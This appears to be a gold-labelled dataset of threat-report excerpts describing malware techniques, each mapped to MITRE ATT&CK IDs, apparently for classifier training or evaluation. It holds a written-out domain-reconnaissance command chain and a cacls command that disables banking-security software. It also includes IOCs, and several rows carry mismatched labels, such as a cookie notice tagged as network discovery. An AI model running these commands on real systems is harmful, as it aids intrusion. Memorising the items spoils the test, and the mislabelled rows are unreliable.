"We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. In one intrusion we investigated, the victim had years of logging available of outgoing DNS-requests. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command &amp; control protocol, we were able to reconstruct more than two years of adversary activity",['T1572 - Protocol Tunneling'],golden
"One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process. This is accomplished with a native bootstrapper DLL, which gets injected into the remote process and prepares it so a .NET assembly can be injected afterwards",['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
The strain of PIVY in this attack used a DLL side-loading technique to stealthily load itself into memory,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"NavRAT is a remote access trojan (RAT) designed to upload, download and execute files. The malware's author logs every action to a file (encoded). It's not often we are able to use the attacker's own logging capability to facilitate analysis, which can make our research easier. NavRAT starts by copying itself (~emp.exe) to the %ProgramData%\Ahnlab\GoogleUpdate.exe path. NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence. The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files. NavRAT has support for process injection. By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process. The malware uses the Naver email platform in order to communicate with the operators",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"This sample has a custom ""decryption"" routine that subtracts six from each character. The following strings are decrypted using this method",['T1140 - Deobfuscate/Decode Files or Information'],golden
The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz,['T1210 - Exploitation of Remote Services'],golden
"The first spam run on August 31 used a Rich Text Format (RTF) document laden with malicious macros. The second, which ran from September 20 to 21, used an exploit for CVE-2017-8759 (patched last September), a code injection/remote code execution vulnerability in Microsoft’s .NET Framework. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. We also saw other threat actors using the same security flaw of late, like the cyberespionage group ChessMaster",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies. The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI","['T1550.004 - Web Session Cookie', 'T1539 - Steal Web Session Cookie']",golden
"This routine won’t always be observed, however, as it would only be performed randomly. kaudited — A file installed as /usr/bin/kaudited. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process",['T1083 - File and Directory Discovery'],golden
"The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"Once executed, the loader uses a timer in order to delay the execution. This is likely used as an anti-sandbox method. After the delayed time has passed, the loader starts executing its core functionality",['T1497.003 - Time Based Evasion'],golden
"We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. Expiry: SessionType: HTTPMarketo2Learn more about this provider__cf_bmThis cookie is used to distinguish between humans and bots. Expiry: 2 yearsType: HTTP25 Marketing cookies are used to track visitors across websites. This can be used for marketing purposes. Expiry: 3 monthsType: HTTPMarketo1Learn more about this provider_mkto_trkContains data on visitor behaviour and website interaction. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email",['T1016 - System Network Configuration Discovery'],golden
"An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell. Since ZxShell has been around since at least 2004, numerous people have purchased or obtained the tools necessary to set up ZxShell command and control servers (C&amp;C) and generate the malware that is placed on the victim’s network. ZxShell has been observed to be distributed through phishing attacks, dropped by exploits that leverage vulnerabilities such as CVE-2011-2462, CVE-2013-3163, and CVE-2014-0322",['T1190 - Exploit Public-Facing Application'],golden
"This archive contains two files, one a benign document and one an executable. The operator tries to fool the victim by naming the executable with an apparent document or image file name by incorporating the “double extension” trick.. This new campaign, depicted as Case 3 in Figure 1, uses a more involved procedure. One of the early checks made by the malware is for the existence of a specific path used to drop every file used during its execution. It starts the executable — audev.exe and checks in the list of processes to see if one of them contains the string audev. Delphi mail downloader . The main role of this downloader is to assess the importance of the compromised system and, if it is deemed important enough, to download and execute Zebrocy’s last downloader. Emails and passwords are used by the operator to send commands to the malware and also to retrieve information harvested from the victim’s computer. Capabilities . While there are some conditions and order in the execution flow to collect information about the victim, the following section describes different gathering capabilities. For each file found on the disk, it retrieves the full path and the last modified date of the file. The Subject: of the mail is the id of the victim and the file is sent as an attachment with a keyword corresponding to the file content. For example, for a scan command, the operator receives a file that contains the list of files matching the scan extensions along with each matching file",['T1083 - File and Directory Discovery'],golden
"In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. This backdoor is well-known in the security community as ANEL, and it used to come in beta or RC (release candidate) until recently. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor",['T1566.001 - Phishing: Spearphishing Attachment'],golden
Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified,['T1560.003 - Archive via Custom Method'],golden
"This Korean-language file used the control server IP address 203.131.222.83. The implant is nearly identical to an unknown 2017 sample (8f2918c721511536d8c72144eabaf685ddc21a35) except that the control server addresses are different. The 2017 sample used address 14.140.116.172. Both implants specifically use FakeTLS with PolarSSL, which we saw in previous Hidden Cobra implants. PolarSSL libraries have appeared in implants since the Sony Pictures incident and were used exclusively in the implant Backdoor.Destover. This implant incorporated a custom control server protocol that sends traffic over port 443. The implementation does not format the packets in standard SSL, but rather in a custom format and transmitted over SSL—hence, FakeTLS. The control server traffic when compared to Backdoor.Escad is nearly identical",['T1001.003 - Protocol or Service Impersonation'],golden
"CTU researchers have discovered numerous details about TG-3390 operations, including how the adversaries explore a network, move laterally, and exfiltrate data. As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name. If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells. Within six hours of entering the environment, the threat actors compromised multiple systems and stole credentials for the entire domain",['T1078 - Valid Accounts'],golden
"The DLL’s used were side-loaded in memory on compromised systems. After placing the DLL in the appropriate directory, the actor would change the date and time stamps on the DLL files to blend in with the other legitimate files in the directory",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"whoami &amp; hostname &amp; ipconfig /all &amp; net user /domain 2&gt;&amp;1 &amp; net group /domain 2&gt;&amp;1 &amp; net group ""domain admins"" /domain 2&gt;&amp;1 &amp; net group ""Exchange Trusted Subsystem"" /domain 2&gt;&amp;1 &amp; net accounts /domain 2&gt;&amp;1 &amp; net user 2&gt;&amp;1 &amp; net localgroup administrators 2&gt;&amp;1 &amp; netstat -an 2&gt;&amp;1 &amp; tasklist 2&gt;&amp;1 &amp; sc query 2&gt;&amp;1 &amp; systeminfo 2&gt;&amp;1 &amp; reg query ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"" 2&gt;&amp;1","['T1087.002 - Account Discovery: Domain Account', 'T1087.001 - Account Discovery: Local Account', 'T1069.002 - Permission Groups Discovery: Domain Groups']",golden
The module also collects the physical address (MAC) and the IP address of the infected machine,['T1016 - System Network Configuration Discovery'],golden
EntryPoint is the main export function of this dll. It starts its activities by resolving API calls. All the API call names are hard coded and the actor has not used any obfuscation techniques to hide them,['T1106 - Native API'],golden
Word documents will first be collected and stored in a preliminary collection directory. The location of this directory may vary depending on the Ramsay version. Two of the directories we observed being used for this purpose were %APPDATA%\Microsoft\UserSetting and %APPDATA%\Microsoft\UserSetting\MediaCache,['T1119 - Automated Collection'],golden
"The document attempts to execute code on the recipient’s computer, using a macro. The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command","['T1012 - Query Registry', 'T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
The decrypted JavaScript has some similar functionality to the ThreadKit builder which is heavily used by the Cobalt Gang 1.0,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
"The configuration, along with downloaded plugins and all harvested data are stored in a custom database format inside a single file under the %TEMP% directory. The storage file is encrypted with AES-256 using a hardcoded key and is decrypted each time the malware needs to read or write it and re-encrypted after new data is added",['T1074.001 - Data Staged: Local Data Staging'],golden
"In this case, the usage of 1550 calls to printf is intended to overload sandbox analysis with junk data and delay execution, since it logs API calls",['T1497 - Virtualization/Sandbox Evasion'],golden
"The first stage starts, as in many other infection chains, with a malicious Microsoft Word document delivered inside a ZIP file. Once the document is opened, malicious macros are downloaded using the external template feature. The macros’ code in turn drops and executes the second stage of the attack, a PowerShell script encrypted inside the original Word document. Finally, the PowerShell script downloads and executes the last stage of the infection: the Bandook backdoor",['T1566.001 - Phishing: Spearphishing Attachment'],golden
"We can notice that the developers wanted to hide some API usage. They use the LoadLibrary() API followed by GetProcAdress(). But they obfuscated the function name strings by splitting it in two. After the malware replaces the ""m"" by ""n:"" They use this trick for a couple of other API such as CreateThread(), CreatePipe(), PeekNamedPipe(), CreateProcessA(), CreateToolhelp32Snapshot(), ReadFile(), WriteFile() and, finally, the string ""cmd.exe. The attacker also implemented a new order: execution of a command by using named pipe to get the output of the executed command. The attackers execute cmd.exe, followed by the command to be executed. An interesting point is the adding of a charset on each executed command: This charset is designed to cover languages that use Cyrillic script such as Russian, Bulgarian and Serbian. sha256 : bb61cc261508d36d97d589d8eb48aaba10f5707d223ab5d5e34d98947c2f72af C2 server: kissyou01[.]myfw[.]us",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Android.The malware begins by creating a web service object and uses the following URL within its configuration,['T1102.002 - Bidirectional Communication'],golden
"It extracts and decrypts the stage 3 malware, which is stored in encrypted resources such as fake dialog boxes. The extraction method is the same, but the encryption algorithm (also XOR) is much simpler. The new payload is decrypted, remapped, and executed in memory, and represents the installation and persistence stage of the malware",['T1140 - Deobfuscate/Decode Files or Information'],golden
The Bazar loader will create another autorun entry by writing an adobe.lnk shortcut in the Windows Start menu Startup folder,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
"The Warzone payload is saved to the %ProgramData% folder as update.exe (SHA-256: 4500851dad1ac87165fc938fe5034983c10423f800bbc2661741f39e43ab8c8d) as shown in the above figure. In order to maintain persistence, an LNK file named update.lnk pointing to update.exe is dropped to startup folders - “%AppData%Microsoft\Windows\Start Menu\Programs\Startup",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Version 3 of Imminent Monitor introduced the ability to run a cryptocurrency miner on the victim machine – hardly the feature of a legitimate remote access tool (Figure 7,['T1496 - Resource Hijacking'],golden
"Like the previous variants of EVILNUM, the actor set up accounts on GitLab and Digital Point, a web forum. The four primary URLs used as drop sites for one-way communications were",['T1102.003 - One-Way Communication'],golden
"NICKEL successfully compromises networks using attacks on internet-facing web applications running on unpatched Microsoft Exchange and SharePoint. They also attack remote access infrastructure, such as unpatched VPN appliances, as referenced in the FireEye April 2021 blog detailing a 0-day vulnerability in Pulse Secure VPN that has since been patched",['T1190 - Exploit Public-Facing Application'],golden
"Windbg, Autoruns, Wireshark) - It checks that there are no drivers loaded from security-related software (e.g. groundling32.sys) - It checks that the status of certain services belonging to security-related software meets certain conditions (e.g. windefend, sense, cavp) - It checks that the host “api.solarwinds.com” resolves to an expected IP address",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"Recent attacks Symantec discovered the most recent wave of Tick attacks in July 2015, when the group compromised three different Japanese websites with a Flash (.swf) exploit to mount watering hole attacks. Visitors to these websites were infected with a downloader known as Gofarer (Downloader.Gofarer). Gofarer collects information about the compromised computer and then downloads and installs Daserf",['T1189 - Drive-by Compromise'],golden
"Apart from downloading and executing binaries from the control server, Gold Dragon generates a key to encrypt data that the implant obtains from the system. This URL is not used for control; the encrypted data is sent to the server ink.inkboom.co.kr, which was used by previous implants as early as May 2017",['T1560 - Archive Collected Data'],golden
"BackdoorDiplomacy targeted servers with internet-exposed ports, likely exploiting unpatched vulnerabilities or poorly enforced file-upload security. In one specific instance, we observed the operators exploit an F5 BIP-IP vulnerability (CVE-2020-5902) to drop a Linux backdoor. In another, a Microsoft Exchange server was exploited via a PowerShell dropper that installed China Chopper, a well-known webshell in use, by various groups, since 2013. In a third, we observed a Plesk server with poorly configured file-upload security execute another webshell similar to China Chopper. See Figure 2 for an overview of the exploit chain",['T1190 - Exploit Public-Facing Application'],golden
"Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings. These are used as loaders for future executable payloads, using the well-known process hollowing technique",['T1027 - Obfuscated Files or Information'],golden
"The KillDisk encryption system is also very robust, encrypting each file with its own AES key, and then encrypting the AES key with a public RSA-1028 key",['T1486 - Data Encrypted for Impact'],golden
hooking the LdrLoadDll and LoadLibrary(Ex) APIs to prevent loading DLLs belonging to those products - checking if any of those modules are already loaded - trying to kill their running processes (based on process names) - blocking Diebold Warsaw on the firewall level - trying to break Trusteer by changing its file system path (see Figure 11) - changing ACLs on main Trusteer binary by running this command twice: cacls %PROGRAM_DATA%; Trusteer\Rapport\store\exts\RapportCerberus\baseline\RapportGH.dll” /T /E /C /P user:perm with user:perm set to Todos:N and then Everyone:N - - with user:perm set to Todos:N and then Everyone:N,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
Since version 0.1.8 This function resets Azure AD Connect credentials to Azure AD and stores it to Azure AD Connect configuration database,['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
"It uses Windows Crypto APIs to generate an MD5 hash using UUID1 (from Part 1). Before the hash is calculated, the length of the UUID is extended to 0x48 bytes by padding with null bytes",['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
"When executing from any other context, it will steal information to send back to command and control servers, disable recovery options, and deletes shadow copies",['T1490 - Inhibit System Recovery'],golden
"Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019",['T1190 - Exploit Public-Facing Application'],golden
"The group has several ongoing operations, utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer",['T1203 - Exploitation for Client Execution'],golden
"The backdoor exploited a vulnerability called “DLL hijacking” in order to “hide” the malware inside trusted software. This technique exploits a security vulnerability found in legitimate software, which allows the attackers to load a fake DLL and execute its malicious code","['T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",golden
"The pipe is used to communicate with the target process and the transport module; the running code also reads its own image body and writes it to the pipe. It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process",['T1055 - Process Injection'],golden
"As mentioned, the registry key (HKLM\SOFTWARE\Microsoft\DRM) is where the malicious payload is stored. In this case, this is the Pillowmint Trojan. Pillowmint is stored and compressed in the registry key. In order to decompress and launch it, small shellcode is executed to decompress and allocate it into the parent process memory space. Execution is then transferred to the payload",['T1112 - Modify Registry'],golden
"Figure 4 shows a screenshot of the Total SMB BruteForcer hacktool used by Leafminer for lateral movement. The tool requires input files with lists of IPs, users, and passwords respectively",['T1110.003 - Brute Force: Password Spraying'],golden
"Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm. Using WMI to check the BIOS manufacturer for XEN. Using WMI to check if the total physical memory is less than 2900000000. Using WMI to check if the number of CPU cores is less than or equal to 1",['T1082 - System Information Discovery'],golden
"The Disttrack dropper is responsible for installing the wiper component of this Trojan, however, it will only activate this component if the system time is greater than a preset date",['T1124 - System Time Discovery'],golden
"The cyber offensive programs attributed to these groups, targeting organizations around the world, have been documented for years","['T1106 - Native API', 'T1573.001 - Symmetric Cryptography']",golden
"Once loaded, `DWrite.dll` connects to a hard-coded IP and port from which it retrieves a decryption key and initialization vector (IV) to decrypt two embedded payload DLLs. To accomplish this task, the malware first generates a random file name to be used as a text log under the current user's %TEMP% directory; this filename starts with ~rdf and is followed by a set of random numbers. Next, the malware scans its own image to find the location of a 32-byte long multi-XOR key which is used to decode data inside its body. Part of the decoded data is an IP address and port which are used to retrieve the key and the IV for the decryption of the embedded payloads. The encryption algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV","['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information']",golden
"The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"NOBELIUM is the same actor behind the SolarWinds compromise in 2020, and this latest activity shares the hallmarks of the actor’s compromise-one-to-compromise-many approach. These delegated administrative privileges are often neither audited for approved use nor disabled by a service provider or downstream customer once use has ended, leaving them active until removed by the administrators. Partners can also use Partner Center Activity Log APIs to create a custom security dashboard on key user activities in Partner Center to proactively detect suspicious activities. We strongly encourage the use of strong authentication for all tenant administrators, review of devices registered for use with MFA, and minimize the use of standing high-privilege access. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. That persistence technique relies on maintaining access to victims’ mail system through the modification of permissions and addition of hidden credentials that allow the attacker to access emails remotely. Detection Name: Suspicious Addition of an Exchange related App Role Description: Addition of an Exchange related application role was observed. An account that can authenticate against an application service principal may also be able to access Exchange data and email. It alerts about users that were victims of password spray campaigns and managed to access your cloud applications from those malicious IPs. This can indicate that an attacker has compromised the app, and is using it for malicious activity",['T1098.002 - Account Manipulation: Additional Email Delegate Permissions'],golden
"Specifically, the BeagleBoyz have been known to create firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443. Depending on the configuration of compromised systems and the security environment of the victim’s computer network, the BeagleBoyz have used the following techniques to enter and control remote systems on a compromised network (Lateral Movement [TA0008",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
The purpose of Trojan.Imecab is to set up a persistent remote access account on the target machine with a hardcoded password. Variants of the malware were also observed with the filename guester.exe which likely refers to the functionality of adding a powerful guest account to the system,['T1136.001 - Create Account: Local Account'],golden
"When REvil was first discovered, it was delivered to targets via exploitation of Oracle WebLogic vulnerabilities. There are reports that the threat actors leveraged a strategic web compromise (SWC) to deliver REvil by compromising the Italian WinRAR . it website and replacing the WinRAR installation executable with an instance of the malware. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers",['T1199 - Trusted Relationship'],golden
"The actor leveraged vulnerabilities in Pulse Connect Secure in order to hijack VPN sessions, or took advantage of system credentials that were stolen in previous operations",['T1190 - Exploit Public-Facing Application'],golden
Environment data exfiltration via POST It will perform a WMI query to enumerate installed security products,['T1518.001 - Software Discovery: Security Software Discovery'],golden
Kroll identified a growing trend in Qakbot (also known as Qbot) cases targeting and exfiltrating locally stored emails to commit a sophisticated phishing method known as email thread hijacking,"['T1114.001 - Email Collection: Local Email Collection', 'T1114.001 - Email Collection: Local Email Collection']",golden
"This is perhaps more eloquently stated by the CheckPoint researchers: ""As a result of all of the above actions, when attempting to surf the web, the user's web browser will first ask the attacker web page on TOR for proxy settings. The user traffic is then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-Middle attack and impersonates the various sites the user attempts to surf. The attacker is free to read the victim's traffic and tamper with it in any way they please. So why redirect the user's traffic. However, as OSX/Dok is a port of a Windows banking trojan (Retefe), its main goal is to extract user's banking credentials from the redirected traffic, or manipulate traffic in order to gain access to financial accounts. For more information on this methodology, check out CheckPoint's follow-up report: OSX/Dok Refuses to Go Away and It's After Your Money. disinfection: Fully cleaning up a OSX/Dok infection is somewhat difficult due to the multitude of changes it makes to an infected system. First, if it still exists, remove the malware's initial Login Item ('AppStore'). Then, delete the two Launch Agents",['T1543.001 - Create or Modify System Process: Launch Agent'],golden
1) The malware opens the target service process. 2) It allocates and fills four chunks of memory inside the service process. One chunk contains the entire malware DLL code (without PE headers). Another chunk is used to copy a basic Ntdll and Kernel32 import address table. Two chunks are filled with an asynchronous procedure call (APC) routine code and a stub. 3) It opens the service thread of the service process and uses the ZwQueueApcThread native API to inject an APC,['T1574.013 - KernelCallbackTable'],golden
"Grandoreiro chooses a different approach – a simple, yet very effective one. The resources section of the PE file is augmented by (usually 3) grande BMP images, making each binary at least 300 MB in size",['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
"features: Thomas Read, who also analyzed OSX/Dok, describes the malware's main goal: ""[OSX.Dok] uses sophisticated means to monitor-and potentially alter-all HTTP and HTTPS traffic to and from the infected Mac. Installing a proxy to MitM traffic is a common technique found in Windows banking trojans - who try to steal users' banking credentials. As previous noted, Dok appears to be a Mac port of the Windows banking trojan 'Retefe. Let's take a closer look at how the malware is able to proxy all web traffic on an infected host",['T1557 - Adversary-in-the-Middle'],golden
Conficker will then generate a list of 250 domain names (rendezvous points) using a randomizing function that it seeds with the current UTC system date. All Conficker infected clients will attempt to contact the same set of domains for updates. This update probing is done on a daily basis and provides Conficker's authors with an effective updating mechanism that is highly mobile as its location is recomputed each day by all infected clients,['T1568.002 - Domain Generation Algorithms'],golden
"HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key. For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not. Depending on the version, HELLOKITTY may or may not change the file extension. Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA",['T1486 - Data Encrypted for Impact'],golden
The ZIP also contains the Resource fork that contains the icon of the executable file. It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file,['T1564.009 - Resource Forking'],golden
The task name is Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it mimics the AnalyzeSystem task performed by Windows Power Efficiency Diagnostics report tool,['T1036.004 - Masquerading: Masquerade Task or Service'],golden
"In 2014, the group embedded Havex into legitimate remote management software for ICS and created industrial control scanning and enumeration modules",['T1195.002 - Compromise Software Supply Chain'],golden
"1) The printer vulnerability MS10-061 exploited by Stuxnet – using a special MOF file, executed on the attacked system using WMI. 2) Remote jobs tasks",['T1210 - Exploitation of Remote Services'],golden
"The last type of shellcode is a Cobalt Strike stager. We have confirmed the use of several different Cobalt Strike stager shellcodes since October 2019. In addition, some of the observed Cobalt Strike stager samples included a setting in the HTTP header of their malicious communications to disguise them as common jQuery request in order to evade detection by security products",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"It attempts to steal sensitive online banking information, such as user names and passwords from the following financial institutions",['T1185 - Browser Session Hijacking'],golden
The novel C2 channel in the RDAT sample uses email for a C2 channel by interacting with the local Exchange server with the EWS API. These two email addresses are used by the RDAT payload to send and receive emails to facilitate C2,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper",['T1027 - Obfuscated Files or Information'],golden
"Screen activity can be monitored by capturing screenshots. What is particularly interesting about InvisiMole is that not only are the usual “whole display” screenshots taken – it can separately capture each window, which helps the attackers gain more information even when the windows are overlapped",['T1113 - Screen Capture'],golden
The backdoor establishes persistence by setting the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load registry key to point to its executable. This method is less common than Run or RunOnce keys but achieves its ultimate goal: the program listed in the Load registry value runs when any user logs on,['T1547 - Boot or Logon Autostart Execution'],golden
"The main function defines a shellcode in hex format, and a target process which is Notepad.exe. Then, based on the OS version, it creates a Notepad.exe process and allocates memory within its address space using VirtualAlloc. It then writes the shellcode into the allocated memory using WriteProcessMemory. At the end it calls CreateRemoteThread to execute the shellcode within the address space of Notepad.exe",['T1055 - Process Injection'],golden
Raindrop is similar to Teardrop in that both pieces of malware act as a loader for Cobalt Strike Beacon. Raindrop uses a custom packer to pack Cobalt Strike. This packer is different to the one used by Teardrop,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
"The plugin_host.exe application imports several functions from a library named python33, which is how the legitimate application sideloads the malicious DLL named PYTHON33.dll. This is the first instance we have observed Sublime Text’s plugin host application used for sideloading. Like the plugin host application, the CreateMedia.exe application imports several functions from a library named CreateTsMediaAdm that is leveraged to load the malicious DLL named CreateTsMediaAdm.dll",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"It also deletes Windows Event Logs : Application, Security, Setup, System. It is less focused on deleting documents. Only 35 file extensions are targeted",['T1485 - Data Destruction'],golden
"They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. They routinely used standard tools that would mimic legitimate administrator activities. This included heavy use of RDP and PsExec/WinRM. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They used multiple staging folders and opted to use directories that were used infrequently by legitimate users or processes. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools",['T1074.001 - Data Staged: Local Data Staging'],golden
"In the instances we have observed, the threat actor sent spear-phishing emails, luring the victims to open a malicious Microsoft Excel/Word document. The Word droppers were using standard VBA macros to download the payload",['T1204.002 - User Execution: Malicious File'],golden
"Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group keeps updating its toolset to evade security mechanisms. Even though they have used their old job theme method, they employed several new techniques to bypass detections","['T1082 - System Information Discovery', 'T1057 - Process Discovery']",golden
"A second JavaScript command was also executed, which created a scheduled task to execute chfeeds.vbe multiple times a day",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets’ environments",['T1592.004 - Client Configurations'],golden
"Once the get_targets function returns (with a list of files that match these regexes) the malware reads each file’s contents, (if they are under 0x1c00 bytes in length) via call to lfsc_get_contents, and then exfiltrates said contents to the attacker’s remote command and control server (via ei_forensic_sendfile",['T1041 - Exfiltration Over C2 Channel'],golden
Filename: kxwn.lock:schemas File size: 609853 bytes MD5 hash: 4e1dec16d58ba5f4196f6a76a0bca75c SHA1 hash: a7c43d7895ecef2b6306fb00972c321060753361 Notes: Alternate data stream (ADS) PNG file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA,['T1027.003 - Steganography'],golden
"The attackers then, once again, executed a command that would create a scheduled task on each computer they had copied the license.exe payload to, this time named Google Chrome Security Update, and set it up to run once at midnight (in the local time zone of the infected computers",['T1036.004 - Masquerading: Masquerade Task or Service'],golden
The malware uses a specific Domain Generation Algorithm (DGA) for hiding the C2 address used during the attack: this is one of the key points that has helped in the campaign’s clustering,['T1568.002 - Domain Generation Algorithms'],golden
